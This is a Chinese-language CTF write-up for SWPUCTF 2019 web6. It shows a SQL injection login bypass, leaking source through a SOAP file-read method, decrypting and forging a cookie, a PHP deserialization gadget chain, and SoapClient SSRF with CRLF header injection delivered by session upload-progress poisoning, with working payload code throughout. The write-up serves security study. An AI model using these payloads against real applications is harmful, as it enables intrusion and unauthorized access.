swpuctf web6

2020-02-13  本文已影响0人  jun123123

swpuctf2019web6

登录页面,随便输入一个账号密码

回显loginSELECT * FROM users WHERE username='1' and passwd='1'wrong username or password

username=admin' or '1'='1&passwd=1' or 1=1#

回显loginSELECT * FROM users WHERE username='admin' or '1'='1' and passwd='1' or 1=1#'Wrong password

回显有两种分别是wrong username or password和Wrong password说明单独对password进行了查询

可能是数值型或双字符型

select * from users where password=$pw

select * from users where password="$pw"

双字符型:pw=" or 1=1#1' or 1=1#

数值型:pw=' or 1=1#' or 1=1#

试了一下都不行

看了下wp payload为1' or '1'='1' group by passwd with rollup having passwd is NULL #,可以登录

rollup可以对passwd进行计数,用于产生passwd=NULL的行,having用来筛选该行,payload应该不唯一

不知道怎么做 根据提示有wsdl.php,看源码存在keyaaaaaaaasdfsaf.txt文件,内容为一串字符串,并且wsdl.php源码里提示了可用的method,试了下method=hint,得到'a few file may be helpful index.php Service.php interface.php se.php'

尝试访问method=File_read,要求输入参数,根据wsdl.php

中的提示可知参数名为filename

post提交后可得几个文件的内容(Service.php无权限,在index.php中发现还有encode.php,也可拿到代码)

可以看到index.php文件中有一个白名单,其中有一个get_flag的method,使用时提示要求admin和127.0.0.1,可能要伪造cookie或ssrf等方式调用该method。

回到拿到的几个文件,其中有一个encode.php文件,我们可以给出decode,

<?php


function de_crypt($swpu,$key){
    $swpu=base64_decode($swpu);
    $key=md5($key);
    $h=0;
    $length=strlen($swpu);
    $swpuctf=strlen($key);
    $varch='';
    for($j=0;$j<$length;$j++){
        if($h==$swpuctf)
        {
            $h=0;
        }
        $varch.=$key{$h};
        $h++;
    }
    $content='';
    for($j=0;$j<$length;$j++)
    {
        $content.= chr(ord($swpu{$j}) - (ord($varch{$j}))+256 % 256);
    }
    return $content;
}

之前获取的txt文件名为keyaaaaaaaasdfsaf.txt,猜测为此处的key值,再将cookie带入,得到解密后字符串为'xiaoC:2'。

然后就可以用encode文件伪造cookie了,但是伪造成admin仍然不能直接读取Seivrce.php,也不能直接get_flag。

再看看剩下的几个文件,se.php中有一个反序列化的操作,可能可以利用。首先这里能构造ssrf的只有dd类

class dd
{
        public $name;
        public $flag;
        public $b;
        
        public function getflag()
        {
                session_start(); 
                var_dump($_SESSION);
                $a = array(reset($_SESSION),$this->flag);
                echo call_user_func($this->b,$a);
        }
}

这里的call_user_func可以将第一个参数当作函数名,后面的参数当作参数,调用该函数,并且$a和$b都是可控的值。

这里首先我们要找出反序列化链,这里因为所有类都给出来了,所以比较好找

$ee=new ee();
$ee->str1=new dd();
$ee->str2='getflag';
$cc=new cc();
$cc->mod3='1';
$cc->mod1=$ee;
$aa=new aa();
$aa->mod1=$cc;
$aa->mod2=array('test2'=>&$aa->mod1);
$bb=new bb();
$bb->mod1=$aa;

$ee->str1->b='';
$ee->str1->flag='';
$sa=serialize($bb);
echo $sa;

这里的$ee->str1的几个成员变量需要填上payload,先空着。

然后是找到ssrf的部分,这里给出了一个interface.php文件,刚开始不知道是干嘛的,看了wp才知道是用来ssrf的,里面有一个SoapServer类,我们在客户端可以使用SoapClient类来与之通信,这也是ssrf的基础。

SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。

根据前面method需要admin和127.0.0.1来访问get_flag方法,我们可以用SoapClient来调用get_flag方法,SoapClient实际上并没有这个方法但是_call方法会帮助我们调用SoapServer中的get_flag方法

SoapClient中调用SoapServer中的方法

call_user_func函数有调用成员方法的作用,所以我们令$ee->str1->flag='get_flag',$ee->str1->b='call_user_func',然后将$a数组中第一个成员设为SoapClient类即可,这里可以利用php序列化的属性,在se.php文件中有ini_set('session.serialize_handler', 'php');,这里将php序列化处理器设置为php,只要我们在session中写入含有|的字符串,php会自动将|前的字符串作为键,其后的字符串作为值反序列化

php反序列化

所以我们首先构造SoapClient类:

$target = 'http://127.0.0.1/interface.php';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: user=xZmdm9NxaQ==',
);

$b = new SoapClient(null, array('location' => $target, 'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'=>'aabb'));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo $a;

然后需要将反序列化后的字符串写入session中,这里上面的php反序列化有介绍,详细一点的可以看刷题记录:[SWPU2019]Web6

将payload传入session的方式有两种, 一种是对面开放本地可控的数据, 另一种是因为配置不当造成session可控当session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

我们构造一个上传的html

<html>
<body>
    <form action="http://a3aff44b-21bc-4903-b8a4-434700b1be98.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>
</html>

这里有个坑就是上面说到,在上传文件的同时上传session.upload_progress.name变量,会写入session,所以需要上传一个文件,如果不上传文件就会收到502。我们在burp中将session.upload_progress.name变量(默认名为"PHP_SESSION_UPLOAD_PROGRESS")值设置为上面SoapClient序列化后的字符串,然后在开头加上|,并且在请求头加上cookie: PHPSESSID=a。这里的PHPSESSID是任意值,但是必须是唯一的,与后面ssrf时的PHPSESSID一致。

然后我们将$ee->str1的属性成员填入

$ee=new ee();
$ee->str1=new dd();
$ee->str2='getflag';
$cc=new cc();
$cc->mod3='1';
$cc->mod1=$ee;
$aa=new aa();
$aa->mod1=$cc;
$aa->mod2=array('test2'=>&$aa->mod1);
$bb=new bb();
$bb->mod1=$aa;

$ee->str1->b='call_user_func';
$ee->str1->flag='get_flag';
$sa=serialize($bb);
echo $sa;

将输出的序列化字符串通过post方式,aa变量提交给se.php页面,同样要带上cookie,即可获取flag

上一篇下一篇

猜你喜欢

热点阅读